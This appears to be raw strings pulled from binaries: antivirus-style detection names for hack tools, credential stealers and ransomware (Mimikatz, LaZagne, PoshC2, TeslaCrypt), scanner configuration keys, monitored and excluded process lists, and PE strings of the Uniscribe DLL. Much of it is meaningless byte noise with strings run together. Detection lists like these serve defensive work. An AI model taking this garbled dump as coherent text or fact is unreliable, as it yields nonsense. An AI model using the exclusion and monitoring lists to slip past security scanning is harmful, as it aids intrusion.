'H)!#ALF:HackTool:PowerShell/Namedpipe.A!MTB )!#ALF:SCPT:TrojanDownloader:VBS/Banload!1 'H)!#ALF:SCPT:TrojanDownloader:VBS/Banload!1 )!#ALF:SCPT:TrojanDownloader:VBS/Banload!2 'H)!#ALF:SCPT:TrojanDownloader:VBS/Banload!2 !#SCPT:Exploit:JS/Astsan.A *!#TEL:SCRIPT:TrojanDownloader:VBS/Vibrio.J 'I*!#TEL:SCRIPT:TrojanDownloader:VBS/Vibrio.J 'J#!#SCRIPT:PowerShell/Mimikatz!MainPS $!#ALF:Trojan:PowerShell/Holmes.A!MTB 'K$!#ALF:Trojan:PowerShell/Holmes.A!MTB (!#ALF:TrojanDownloader:VBS/SLoad.SIB!MTB 'K(!#ALF:TrojanDownloader:VBS/SLoad.SIB!MTB !#SCRIPT:PowerShell/Gwiper.A $!#SCRIPT:PowerShell/Mecheck.A!MainPS 'K$!#SCRIPT:PowerShell/Mecheck.A!MainPS P}=P~ %!#ALF:Trojan:PowerShell/Gropers.A!MTB 'L%!#ALF:Trojan:PowerShell/Gropers.A!MTB !#SCRIPT:PowerShell/LyncSez.A &!#ALF:VirTool:PowerShell/Gopherz.A!MTB 'M&!#ALF:VirTool:PowerShell/Gopherz.A!MTB .!#ALF:Trojan:PowerShell/MSAppProxy_utils.A!MTB 'M.!#ALF:Trojan:PowerShell/MSAppProxy_utils.A!MTB !#SCRIPT:PowerShell/MFAUtils.A 51PYL Yg 8T( !#SLF:HackTool:Python/Pypykatz (!#ALF:HackTool:PowerShell/PrixChkz.A!MTB 'O(!#ALF:HackTool:PowerShell/PrixChkz.A!MTB 0!#ALF:Trojan:PowerShell/MFAProvisioningAPI.A!MTB 'O0!#ALF:Trojan:PowerShell/MFAProvisioningAPI.A!MTB  !#SLF:PowerShell/PoshC2!Internal 'O !#SLF:PowerShell/PoshC2!Internal !!#ALF:Trojan:PowerShell/MDM.A!MTB 'P!!#ALF:Trojan:PowerShell/MDM.A!MTB ^_u<? !!#SCPT:Worm:VBS/Jenxcus!Crypt32.1 'P!!#SCPT:Worm:VBS/Jenxcus!Crypt32.1 *!#ALF:Trojan:PowerShell/Vigourfervid.A!MTB 'Q*!#ALF:Trojan:PowerShell/Vigourfervid.A!MTB 'R#!#SCRIPT:PowerShell/Mimikatz!MainPS '!#SCRIPT:TrojanClicker:JS/Faceliker.L_F 'R'!#SCRIPT:TrojanClicker:JS/Faceliker.L_F '!#SCRIPT:TrojanDownloader:HTML/Clodow.B !'R'!#SCRIPT:TrojanDownloader:HTML/Clodow.B Z=INjK 'S$!#SCRIPT:PowerShell/Mecheck.A!MainPS )!#ALF:TrojanDownloader:VB/DessertDown!dha 'T)!#ALF:TrojanDownloader:VB/DessertDown!dha !#SCRIPT:PowerShell/Clpawnz.A &!#ALF:Trojan:PowerShell/MDMUtils.A!MTB 'U&!#ALF:Trojan:PowerShell/MDMUtils.A!MTB !#SCRIPT:PowerShell/WebBrowser 8!#TEL:SCRIPT:TrojanDropper:VBS/Blindhind.A.Strontium!dha 'W8!#TEL:SCRIPT:TrojanDropper:VBS/Blindhind.A.Strontium!dha \"!#ALF:VirTool:Python/Gorgons.A!MTB 'Y\"!#ALF:VirTool:Python/Gorgons.A!MTB 'Y&!#FP_TrojanDownloader:HTML/Adodb.gen_A +!#ALF:Trojan:PowerShell/OneDriveUtils.A!MTB 'Z+!#ALF:Trojan:PowerShell/OneDriveUtils.A!MTB !#TrojanDownloader:JS/Skel.1 Z[v(b -!#SCRIPT:PowerShell/AzureADConnectAPI_utils.A '\\-!#SCRIPT:PowerShell/AzureADConnectAPI_utils.A 'c$!#SCRIPT:PowerShell/Mecheck.A!MainPS !#SCRIPT:PowerShell/LAPSToolkit #fp539598-VBS/LoveLetter.BT\ti '!#ALF:HackTool:PowerShell/Internaloff.W 'j'!#ALF:HackTool:PowerShell/Internaloff.W -!#ALF:Trojan:PowerShell/ProvisioningAPI.A!MTB !#ALF:Trojan:VBS/Donoff.R!MTB !Slow1 #fp5267 #fp6233 #fp6233tV #fp6235tV #fp6984  #103993631g  #fp1421481  #fp1633912\tP@  #fp1633912*  #fpFormatC #IRC/ACAD.1 #BAT/Crypt.19U #BAT/Crypt.2B1s #IRC/APVerif.1 #IRC/FOXPLAY.1 #IRC/THS2002.1G #IRC/THS2002.2P #IRC/THS2002.3 #IRC/THS2002.4V #IRC/THS2002.5 #IRC/THS2002.6^}[n #IRC/THS2002.7 #IRC/THS2002.8 #IRC/THS2002.9{ #IRC/STARDUST.1 #IRC/STARDUST.2W #IRC/STARDUST.3 #IRC/STARDUST.4 #IRC/SunClock.1 !#SCPT:Bundlore !#SCPT:Jenxcil.A !#SCPT:Jenxcus.KE #VBS/VBSWG.dr.gen` #IRC/Peace_Prot.1 #IRC/Peace_Prot.2 #IRC/Peace_Prot.3^ #IRC/Peace_Prot.4 #IRC/Peace_Prot.5X #IRC/Peace_Prot.6 #IRC/SPRJUKEBOX.18 #IRC/SPRJUKEBOX.2 #IRC/SPRJUKEBOX.3I #IRC/SPRJUKEBOX.4 #IRC/SPRJUKEBOX.5T #Worm:IRC/Generic !#PWE:Linsuavev.C1$E !#PWE:Linsuavev.C2 !#SCPT:Nemucod_end !#Trojan:JS/Brapps !#ALF:PUA:JS/FakeAVP! #IRC/KarmaRemover.1 !#SCPT:BlacoleRefB1 !#SCPT:SwabfexArray> !#SCRIPT:Vemrowst.A #Trojan:JS/Loop.gen} #Trojan:JS/Loop.gen #Exploit:JS/Fiexp.C0\" #Exploit:JS/Fiexp.C !#ActionSpyExtraSign !#SCPT:JS/Kilim!id_A !#Trojan:JS/Obfus.P1#4R !#Trojan:JS/Obfus.P2F:$ !#Trojan:JS/Obfus.P3#4R !#Trojan:JS/Obfus.P4F:$ #Trojan:BAT/FormatCY-m !#ALF:SCPT:Vango!cert !#SCPT:BAT/Emasen.B!1 !#SCPT:BAT/Emasen.B!2 !#SCPT:JS/MalScript.AG !#SCPT:JS/MalScript.B{ !#SCPT:JS/MalScript.C !#SCPT:JS/MalScript.D !#SCPT:JS/MalScript.E !#SCPT:JS/MalScript.F !#SCPT:JS/MalScript.G !#SCPT:JS/MalScript.H !#SCPT:JS/Nemucod.ST9 !#SCPT:JS/Nemucod.STa !#SCPT:JS/NemucodRStr !#SCPT:JS/NemucodSStr !#SCRIPT:VBS/FetchXML !#TEL:PUA:JS/Adinject !#Trojan:PHP/Phish.P1f@ !#Trojan:PHP/Phish.P2 !#Trojan:VBS/Tnega.P1j5 !#Trojan:VBS/Tnega.P2 !#Trojan:XML/Tnega.P1 !#Trojan:XML/Tnega.P2qaIp !#lowfi:Fareitbuilder !#PUA:Block:DriverPack:; !#SCPT:ClearLockMain.A !#SCPT:NemucodComments$ !#SCRIPT:ZBotASProtect Qe<($ !#SLF:NodiisWebShell.A !#SLF:NodiisWebShell.B !#SLF:NodiisWebShell.C !#SLF:NodiisWebShell.Dq !#TEL:HTML/Brocoiner.I0 !#TEL:HTML/Brocoiner.I !#TEL:HTML/Brocoiner.K #Backdoor:IRC/Cloner.H #Worm:VBS/VBSWG.dr.gen !#ALFPER:TeslaCrypt!txtN !#ALFPER:TeslaCrypt!txt !#Adware:MSIL/PlayBrytet !#Adware:MSIL/PlayBryte !#NScript:ForceTypeNone !#PUA:Block:PSWLaZagn.A !#SCPT:API_CryptoJS_AES !#SCPT:JS/Nemucod.R!MTBS !#SCPT:JS/Nemucod.R!MTBV !#SCPT:JS/Nemucod.R!MTBg !#SCPT:JS/Nemucod.R!MTBw !#SCPT:JS/Nemucod.R!MTB !#Trojan:Win32/Deminnixp #Backdoor:Perl/Shellbotr #Exploit:Win32/Pdfjsc.J !#Adware:Win32/Ga  of'QP 7}%v: 13iw0 >'Vdh aGz@2L U)#J<?` 7xb[;f v>gz! D|l}% [y[O} bX}W`x  @RqHvNb  $`XE _6fv; 5H8Xk M\t Y@ eu/a: 3U$b1 %T}3XbH .PAGk b,$k{D ^OJw9 7xw lD {G@#,a rEW``< U@O:Y 1`A`O `b5l; UU;b:|&- ?\ts-\"  sqZhTX +g)s* C(kK%5 -rA', ,M$/: AEg<5 U4jx, 9sq4XA Ft2bedg  [[g&24 mwfUP^i CPan/$ wPZ94 /yh>m  lN9F ]!bhmjJ dte2E aMA+g L}5!a  0 v` 5&{ - t'RmBmb+ (;>YAy8$ RA5N_ p<Y=/n` 6E[WZ okcTv~{ ]o0Ln ez>OK \\{00000109-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{0000010e-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{0000010f-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000113-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000114-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000115-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000116-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000117-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000118-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000119-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{0000011a-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{0000011b-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{0000011c-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{0000011e-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000122-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000139-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{0000013c-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\Interface\\{00000266-0000-0010-8000-00aa006d2ea4} BSOFTWARE\\Classes\\allfilesystemobjects\\shellex\\contextmenuhandlers BSOFTWARE\\Classes\\interface\\{00000138-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\interface\\{00000139-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\interface\\{0000013b-0000-0000-c000-000000000046} BSOFTWARE\\Classes\\interface\\{00000140-0000-0000-c000-000000000046} BSOFTWARE\\classes\\Interface\\{00000128-0000-0000-c000-000000000046} BSYSTEM\\CurrentControlSet\\Control\\ContentIndex\\Language\\English_UK BSoftware\\Microsoft\\internet explorer\\advancedoptions\\browse\\ftpui Bsoftware\\Microsoft\\internet explorer\\advancedoptions\\http\\genable  Briefcase FriendlyTypeNameT@%SystemRoot%\\system32\\SHELL32.dll,-22978 catfile\\shell\\open\\command Rrundll32.exe cryptext.dll,CryptExtOpenCA crlfile\\shell\\open\\command Rrundll32.exe cryptext.dll,CryptExtOpenCR p7sfile\\shell\\open\\command Rrundll32.exe cryptext.dll,CryptExtOpenPK batfile\\shell\\print\\command P%SystemRoot%\\System32\\NOTEPAD.EXE /p %1 diskmanagement.uitasks\\clsid N{7086AD76-44BD-11D0-81ED-00A0C90FC491} -CLSID\\{56FDF344-FD6D-11d0-958A-006097C9A090} .Task Bar Communication -CLSID\\{E7E4BC40-E76A-11CE-A9BB-00AA004AE837} .Shell DocObject Viewer -clsid\\{0a9ae910-85c0-11d0-bd42-00a0c911ce86} .AVI mux Property Page1 -clsid\\{3050f5be-98b5-11cf-bb82-00aa00bdce0b} .DownloadBehavior Class -clsid\\{550dda30-0541-11d2-9ca9-0060b0ec3d39} .XML Data Source Object -clsid\\{5db2625a-54df-11d0-b6c4-0800091aa605} .ICM Monitor Management -clsid\\{C4D2D8E0-D1DD-11CE-940F-008029004347} .System Monitor Control -clsid\\{FD853CE1-7F86-11d0-8252-00C04FD85AB4} .CLSID_IMimePropertySet -clsid\\{e436ebb8-524f-11ce-9f53-0020af0ba770} .Filter Graph no thread 1interface\\{00000136-0000-0000-c000-000000000046} &ISCMLocalActivator 1interface\\{6eb22872-8a19-11d0-81b6-00a0c9231c29} &ICatalogCollection 1interface\\{9B16ED16-D3DF-11D1-8B08-00600806D9B6} &ISWbemQualifierSet 1interface\\{A1FAF330-EF97-11CE-9BC9-00AA00608E01} &IOleParentUndoUnit 4CLSID\\{00000541-0000-0010-8000-00AA006D2EA4}\\ProgID  ADODB.Error.2.8 4CLSID\\{b54f3742-5b07-11cf-a4b0-00aa004a55e8}\\progid  VBScript Author 4clsid\\{66182ec4-afd1-11d2-9cb9-0000f87a369e}\\progid  WinNTSystemInfo 4clsid\\{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}\\progid  WScript.Shell.1 9interface\\{000C1090-0000-0000-C000-000000000046}\\typelib <CLSID\\{3050F3D6-98B5-11CF-BB82-00AA00BDCE0B}\\InProcServer32 IImgCtx <software\\microsoft\\windows\\currentversion\\policies\\explorer noclose /system\\currentcontrolset\\services\\npfs\\aliases ntsvcs eventlogsvcctl 3.5.21022.08 2SOFTWARE\\Blizzard Entertainment\\World of Warcraft c:\\wow 2software\\microsoft\\windows\\currentversion\\runonce wextract_cleanup0 SAVAGE32.EXE  Increment 4927 7SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network\\Base 7SYSTEM\\CurrentControlSet\\control\\safeboot\\minimal\\base 8SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate SusClientId ;system\\currentcontrolset\\control\\systemresources\\busvalues \tinternal =SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\NortonSystemInfo CSYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Hashes CSYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management Csoftware\\Microsoft\\internet explorer\\advancedoptions\\crypto\\ssl3.0 Csoftware\\Microsoft\\internet explorer\\embedextntoclsidmappings\\.dcr Csystem\\currentcontrolset\\services\\lanmanserver\\autotunedparameters protocols\\handler\\mailto clsidN{3050f3DA-98B5-11CF-BB82-00AA00BDCE0B} giffilter.cogiffilter.1\\clsid N{607fd4e8-0a03-11d1-ab1d-00c04fc9b304} ias.mschaperrorreporter\\clsid N{6BC09897-0CE6-11D1-BAAE-00C04FC2E20D} icofilter.coicofilter.1\\clsid microsoft.xmlparser.1.0\\clsid N{D2423620-51A0-11D2-9CAF-0060B0EC3D39} pngfilter.copngfilter.1\\clsid N{A3CCEDF7-2DE2-11D0-86F4-00A0C913F750} *FilePlaybackTerminal.FilePlaybackTerminal 6FilePlaybackTerminal Class -CLSID\\{ecabafc4-7f19-11d2-978e-0000f8757e2a} 0Queued Component Player -clsid\\{7007acc5-3202-11d1-aad2-00805fc1270e} 0LAN Connection UI Class -clsid\\{cd000009-8b95-11d1-82db-00c04fb1625d} 0NNTPPostConnector Class 1interface\\{0000013a-0000-0000-c000-000000000046} (IPropertySetStorage 1interface\\{00020021-0000-0000-c000-000000000046} (AVIStream Interface 1interface\\{3050f55e-98b5-11cf-bb82-00aa00bdce0b} (DispHTMLWindowProxy 1interface\\{3050f560-98b5-11cf-bb82-00aa00bdce0b} (DispHTMLHtmlElement 1interface\\{3050f561-98b5-11cf-bb82-00aa00bdce0b} (DispHTMLHeadElement 1interface\\{bb1a2ae3-a4f9-11cf-8f20-00805f2cd064} (IActiveScriptEncode 1interface\\{e0e270c0-c0be-11d0-8fe4-00a0c90a6341} (OLEDBSimpleProvider 4CLSID\\{8856F961-340A-11D0-A96B-00C04FD705A2}\\ProgID \"Shell.Explorer.2 4clsid\\{6bc096b8-0ce6-11d1-baae-00c04fc2e20d}\\progid \"IAS.Accounting.1 4clsid\\{bc94d813-4d7f-11d2-a8c9-00aa00a71dca}\\progid \"IAS.SdoService.1 4clsid\\{eab22ac3-30c1-11cf-a7eb-0000c05bae0b}\\progid \"Shell.Explorer.1 4clsid\\{ff151822-b0bf-11d1-a80d-000000000000}\\progid \"MSDAURL.Binder.1 9clsid\\{0cd7a5c0-9f37-11ce-ae65-08002b2e1262}\\shellfolder attributes 9clsid\\{2227a280-3aea-1069-a2de-08002b30309d}\\shellfolder 9clsid\\{7bd29e00-76c1-11cf-9dd0-00a0c9034933}\\shellfolder <CLSID\\{E2510970-F137-11ce-8B67-00AA00A3F1A6}\\InprocServer32 qcap.dll DCLSID\\{00C429C0-0BA9-11d2-A484-00C04F8EFB69}\\Implemented Categories DCLSID\\{06290BD8-48AA-11D2-8432-006008C3FBFC}\\Implemented Categories DCLSID\\{06290BD9-48AA-11D2-8432-006008C3FBFC}\\Implemented Categories DCLSID\\{06290BDB-48AA-11D2-8432-006008C3FBFC}\\Implemented Categories Dclsid\\{424b71af-0695-11d2-a484-00c04f8efb69}\\implemented categories Dclsid\\{5220cb21-c88d-11cf-b347-00aa00a28331}\\implemented categories Dclsid\\{555278e2-05db-11d1-883a-3c8b00c10000}\\implemented categories DevicePath\"%SystemRoot%\\inf +SYSTEM\\ControlSet001\\services\\NetBIOS\\Enum 02Root\\LEGACY_NETBIOS\\0000 wdmaud.drv :SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System  <system\\currentcontrolset\\services\\dhcp\\parameters\\options\\3 keytype >SOFTWARE\\Classes\\appid\\{27af75ed :STPK VTZipSfx. VTZipSfx6 VTZipSfx: VTZipSfxG \\VLNPK VTZipSfxkY VTZipSfxw =SWPK VTZipSfx| MpUseAms  IOAVParams JSEmu:MaxGC MpSSLOptions MpMaxScanDepth IsuCategory FilterTimeoutLocal MpBHOMaxSizeCached MpUIHistorySize DCO_MpDisableBmProxy FilterTimeoutNetwork ContainerScannedCount HtmlParsingCountLimit MOACEnabledVersion DCO_MpBmScavengerDelay MpBmDirMonitoringFlags MpMaxSpynetFileSize MpMaxStaticFileSize MpWsTrimTimeInterval DCO_MpDisableGlobalASOC BMExclusions DCO_MpBmIdleScavengeTime \tVFSParams [\"\tVFSParams DetectedFriendlyLimit DCO_MpBmDisableFolderEnum DCO_MpMaxRtsdBatchSize MinScriptNormalization DCO_MpDisableHardlinkCheck MpEnableMapsLatencyRetries DCO_MpMapsHeartbeatRate DCO_MpDisableDynamicAnomaly DCO_MpSyncDssQueryTimeout DCO_MpDisableAmsiSessionCache DCO_MpDisableCopyAcceleration DCO_MpDisableWmiConfiguration DCO_MpSuppressVolumeOpenFlush DCO_MpBmTerminatedScavengeTime MpMaxContainerFriendlyCheck MpUseSha1OnlyForWatsonBucketing  DCO_MpBmDisableTaintingProcesses [) DCO_MpBmDisableTaintingProcesses  DCO_MpDisableSystemRegistryCache [) DCO_MpDisableSystemRegistryCache  MpRbMAutomaticEngineRollbackMode [) MpRbMAutomaticEngineRollbackMode !DCO_MpDisableKslNameRandomization [*!DCO_MpDisableKslNameRandomization !DCO_MpSqlitePersistentWalDisabled [*!DCO_MpSqlitePersistentWalDisabled \"DCO_MpDisableOpenFileNotifications [+\"DCO_MpDisableOpenFileNotifications #DCO_MpBmAdditionalTDTScavengerDelay [,#DCO_MpBmAdditionalTDTScavengerDelay #DCO_MpDisableValidateTrustOfficeVba '\t[,#DCO_MpDisableValidateTrustOfficeVba $DCO_MpDisableDynamicAnomalyTelemtery [-$DCO_MpDisableDynamicAnomalyTelemtery %DCO_MpDisableDynamicAnomalyCollection [.%DCO_MpDisableDynamicAnomalyCollection &DCO_MpEnableUefiEnumerationInHeartBeat [/&DCO_MpEnableUefiEnumerationInHeartBeat 'MpRbMPlatformServiceCrashToleranceCount [0'MpRbMPlatformServiceCrashToleranceCount $DCO_MpExpensiveSignatureThresholdLua [1$DCO_MpExpensiveSignatureThresholdLua (DCO_MpOnlyCfaDllFriendlySlowCheckAllDirs [1(DCO_MpOnlyCfaDllFriendlySlowCheckAllDirs )DCO_MpFC_Block_IRM_CloudEgress_NativeHost [2)DCO_MpFC_Block_IRM_CloudEgress_NativeHost &DCO_MpExpensiveSignatureThresholdRpfDt [3&DCO_MpExpensiveSignatureThresholdRpfDt 'DCO_MpExpensiveSignatureThresholdRpfEmu [4'DCO_MpExpensiveSignatureThresholdRpfEmu ,MpRbMPlatformMinimumDaysNeededToDetermineLKG [5,MpRbMPlatformMinimumDaysNeededToDetermineLKG +DCO_MpExpensiveSignatureThresholdIoBytesLua [8+DCO_MpExpensiveSignatureThresholdIoBytesLua 6DCO_MpMaintenanceWindowCleanFileTelemetrySelectionRate [?6DCO_MpMaintenanceWindowCleanFileTelemetrySelectionRate ExpensiveFileTimeouts28 AmsiProcessList^ wscript.exe[{ AsrThrottledAuditRules` OFNAllowIdenticalNamesj  vssadmin.exe schtasks.exe\twmic.exe[ TPTrustedProcessesv %system%\\omadmclient.exe %system%\\deviceenroller.exe[ BmNoTaintInjection .mptest-{04b93336-5432-4199-b181-06ca5e416104} WmiPrvSE.exe[ BMHardenedProcesses %system%\\csrss.exe %system%\\lsass.exe %system%\\winlogon.exe[ BmNoTaintInjectionFullPath 1C:\\mptest-{93df4ce4-8346-4bf6-a515-0fda5a495c89} %system%\\wbem\\WmiPrvSE.exe[  NpSettings W{ \"volumeEventFrequency\" : 30, \"maxVolumeEvents\" : 10, \"volumeTelemetryTimeout\" : 60 }[ ArEMSProcNames \t\texplorer\tservices dllhost wuauclt[ BmProxyList csc.exe regsvr32.exe[ BmFileChangeOverwriteExclusions %ProgramFiles%\\%ProgramFiles(x86)%\\%windir%\\%appdata%\\%localappdata%\\%ProgramData%\\%public%\\[ NriExcludedProcesses %system%\\smartscreen.exe %system%\\wuauclt.exe %installlocation%\\msmpeng.exe %installlocation%\\mpcmdrun.exe[ NpAutoExclusions ntttcp.exe xbtplinksvc.exe iperf.exe iperf2.exe iperf3.exe[< InheritProcessModules\" %WINDIR%\\explorer.exe%WINDIR%\\system32\\rundll32.exe%WINDIR%\\SysWOW64\\rundll32.exe%WINDIR%\\system32\\wscript.exe%WINDIR%\\system32\\cscript.exe[O BmScriptList> python.exe\truby.exe powershell_ise.exe msxsl.exe\tperl.exe\tbash.exe\tpwsh.exe[v \tDT_paramsh CompetitiveSecurityProducts (r)\\\\[^\\\\]*mcafee[^\\\\]*\\\\ %system%\\mrt.exe (r)\\\\ascservice.exe$+(r)^.*\\\\bbcf618-2a81-426d-81ec-[^.]+\\.exe$7%programdata%\\a1a72074-2e3e-43e5-97bb-dddaae288b19.exe:%common_appdata%\\a1a72074-2e3e-43e5-97bb-dddaae288b19.exe[ ASEngineConfig .exe\".dll\".ocx\".vbs\".bat\".cmd\".com\".js\".msi\".reg\".shs\".sys\".vb\".vbe\".wsc\".wsf\".wsh\".scr\".asm\".zip\".ini\".pif\".lnk\".htm\".html\".doc\".xls\".ppt\".docx\".pptx\".xlsx\".dot\".xlt\".xml\".bin\".ax\".fon\".chm\".msp\".tlb\".aspx\".asp\".cpl\".drv\".msc\".api\".app\".apl\".aup[ AVEngineConfig .exe\".dll\".ocx\".vbs\".bat\".cmd\".com\".js\".msi\".reg\".shs\".sys\".vb\".vbe\".wsc\".wsf\".wsh\".scr\".asm\".zip\".ini\".pif\".lnk\".htm\".html\".doc\".xls\".ppt\".docx\".pptx\".xlsx\".dot\".xlt\".xml\".bin\".ax\".fon\".chm\".msp\".tlb\".aspx\".asp\".cpl\".drv\".msc\".api\".app\".apl\".aup[$ AsimovKillBitList Engine.BM.DetectionDrop Engine.BM.ShutdownFailure Engine.BM.CLFSFileOpen Engine.BM.DoubleParent Engine.BM.OctagonEventCount Engine.BM.EtwPendingShutdown Engine.BM.EtwShutdownComplete Engine.HIPS.FileRemoveFailure Engine.Maps.InvalidReportType[C ScanProcessModules, %WINDIR%\\explorer.exe%WINDIR%\\system32\\rundll32.exe%WINDIR%\\SysWOW64\\rundll32.exe%WINDIR%\\system32\\dllhost.exe%WINDIR%\\SysWOW64\\dllhost.exe%WINDIR%\\system32\\regsvr32.exe%WINDIR%\\system32\\svchost.exe%PROGRAMFILES%\\Internet Explorer\\iexplore.exe%WINDIR%\\system32\\mrt.exe[v MpRewScanningExclusionsZ cdrom.sys:0002000000000000 pci.sys:0002000000000000 HDAudBus.sys:0002000000000000 ACPI.sys:0002000000000000 ksthunk.sys:0002000000000000 UsbHub3.sys:0002000000000000 usbhub.sys:0002000000000000 ntoskrnl.exe:8000000000000000 hal.dll:8000000000000000 i8042prt.sys:4000000000000000[ 1BmFileChangeOverwriteExtensionInclusionSortedListL .docb .dotm .dotx .ppsx .sldm .sldx .xlam .xlsb .xltm .xltx .xps[ RegistryWhiteList (3,1),%system%\\csrss.exe (3),%system%\\lsass.exe (3),%system%\\services.exe (1),%system%\\msiexec.exe (2),%system%\\poqexec.exe&(1),%system%\\Register-CimProvider.exe (3),%system%\\mrt.exeL(2),%program_files%\\Windows Defender Advanced Threat Protection\\mssense.exeb(2),%common_appdata%\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\*\\MsSense.exe (2),%system%\\sysprep.exe!(2),%system%\\Sysprep\\sysprep.exeH(3),%program_files%\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exeF(3),*\\Monitoring\\Agent\\Extensions\\AzureSecurityPack\\WDATPLauncher.exe[  SFCExtensions .exe\".dll\".ocx\".vbs\".bat\".cmd\".com\".js\".msi\".reg\".shs\".sys\".vb\".vbe\".wsc\".wsf\".wsh\".scr\".asm\".zip\".ini\".pif\".lnk\".htm\".html\".doc\".xls\".ppt\".docx\".pptx\".xlsx\".dot\".xlt\".xml\".bin\".ax\".fon\".chm\".msp\".tlb\".aspx\".asp\".cpl\".drv\".msc\".api\".app\".apl\".aup\".manifest\".mui\".gpd\".inf\".cat\".png\".ppd\".wav\".man\".ttf\".mum\".mof\".ps1\".cur\".xrm-ms\".adml\".admx\".gpd\".nls\".h1s\".jpg\".mfl\".exp\".dat\".imd\".resx\".bmp\".config\".ptxml\".dxt\".rtf\".wmv\".xsd\".psd1\".tbl\".gif\".icm\".sql\".gdl\".icc\".icc\".bcm\".browser\".vdf\".regtrans-ms\".ppd\".cmb\".rom\".cfg\".diagpkg\".ps1xml\".theme\".ascx\".css\".nlp\".txt\".ico\".targets\".nls\".icm\".ttc\".default\".cat[ CfaExemptProcessesByScenario (1)|\\OneDrive.exe (1)|%windir%\\Explorer.exe (1)|\\DismHost.exe (1)|\\Dism.exe (1)|\\TiWorker.exe0(1)|%program_files%\\Mozilla Firefox\\firefox.exe9(1)|%program_files%\\Google\\Chrome\\Application\\Chrome.exe (1)|%windir%\\browser_broker.exe (1)|\\Blend.exe (1)|\\devenv.exe)(1)|\\Microsoft.VisualStudio.Web.Host.exe (1)|\\QTAgent32_40.exe (1)|\\WcfTestClient.exe (1)|\\XDesProc.exe (1)|\\vstest.discoveryengine.exe$(1)|\\vstest.discoveryengine.x86.exe (1)|\\vsgraphics.exe (1)|\\git.exe (1)|\\node.exe (1)|\\msvsmon.exe (1)|\\FxCopCmd.exe (1)|\\cl.exe (1)|\\link.exe (1)|\\vcredist_arm.exe (1)|\\vcredist_x64.exe (1)|\\vcredist_x86.exe (1)|\\vcpkgsrv.exe (1)|\\CreatePkgDef.exe (1)|\\VcxprojReader.exe (1)|\\cmake.exe (1)|\\vs_installer.windows.exe (1)|\\vs_installerservice.exe!(1)|\\vs_installerservice.x86.exe (1)|\\vs_installershell.exe (1)|\\MSBuild.exe (1)|\\MSBuildTaskHost.exe (1)|\\7z.exe (1)|\\csc.exe (1)|\\VBCSCompiler.exe (1)|\\rc.exe0(1)|\\ServiceHub.RoslynCodeAnalysisService32.exe!(1)|\\ServiceHub.SettingsHost.exe!(1)|\\ServiceHub.IdentityHost.exe!(1)|\\ServiceHub.Host.CLR.x64.exe!(1)|\\ServiceHub.Host.CLR.x86.exe (1)|\\ServiceHub.Host.CLR.exe#(1)|\\Servic 5DqqsK ZFFZ. jv op 2LM9p /g2LM9p Ma.# P 234fu f1Ht<L SLZmGp f^wD.g o]1|p8  X_krs u@JAH yUW~U g.RXa g0\\w  g2zO# <T|H'yZ gG3~Km UcY230 gd,:m <!N p hB^C[p =N\t`} v,%9p <x K[ JjE'@p T$J&p \tcYMz &of[_p QVWKp hS o5C hUdFE 05  9p pe|:o >'@$Z iR[\t_ ^:|?? E^A7g ;;I&pVs=e 6coNp `D|hg f=ex\\J j\tj >WB L~!rC )W\\7? a=C%p jiqb3 BOl\t|j ,YR~hp o9g xB9 *)0Ep l L]y4 |2Ni&6   $ .text%  `.rsrc0 RSDSb usp10.pdb usp10.pdbj USP10.DLL LpkPresent ScriptApplyDigitSubstitution ScriptApplyLogicalWidth ScriptBreak ScriptCPtoX ScriptCacheGetHeight ScriptFreeCache ScriptGetCMap ScriptGetFontProperties ScriptGetGlyphABCWidth ScriptGetLogicalWidths ScriptGetProperties ScriptIsComplex ScriptItemize ScriptJustify ScriptLayout ScriptPlace ScriptRecordDigitSubstitution ScriptShape ScriptStringAnalyse ScriptStringCPtoX ScriptStringFree ScriptStringGetLogicalWidths ScriptStringGetOrder ScriptStringOut ScriptStringValidate ScriptStringXtoCP ScriptString_pLogAttr ScriptString_pSize ScriptString_pcOutChars ScriptTextOut ScriptXtoCP UspAllocCache UspAllocTemp UspFreeMem  !\"USP10.DLLLpkPresentScriptApplyDigitSubstitutionScriptApplyLogicalWidthScriptBreakScriptCPtoXScriptCacheGetHeightScriptFreeCacheScriptGetCMapScriptGetFontPropertiesScriptGetGlyphABCWidthScriptGetLogicalWidthsScriptGetPropertiesScriptIsComplexScriptItemizeScriptJustifyScriptLayoutScriptPlaceScriptRecordDigitSubstitutionScriptShapeScriptStringAnalyseScriptStringCPtoXScriptStringFreeScriptStringGetLogicalWidthsScriptStringGetOrderScriptStringOutScriptStringValidateScriptStringXtoCPScriptString_pLogAttrScriptString_pSizeScriptString_pcOutCharsScriptTextOutScriptXtoCPUspAllocCacheUspAllocTempUspFreeMem CompanyNameMicrosoft Corporationn# FileDescriptionUniscribe Unicode script processor InternalNameUniscribe OriginalFilenameUniscribej%   $ @@.reloc\\0 RSDSp rasdlg.pdb 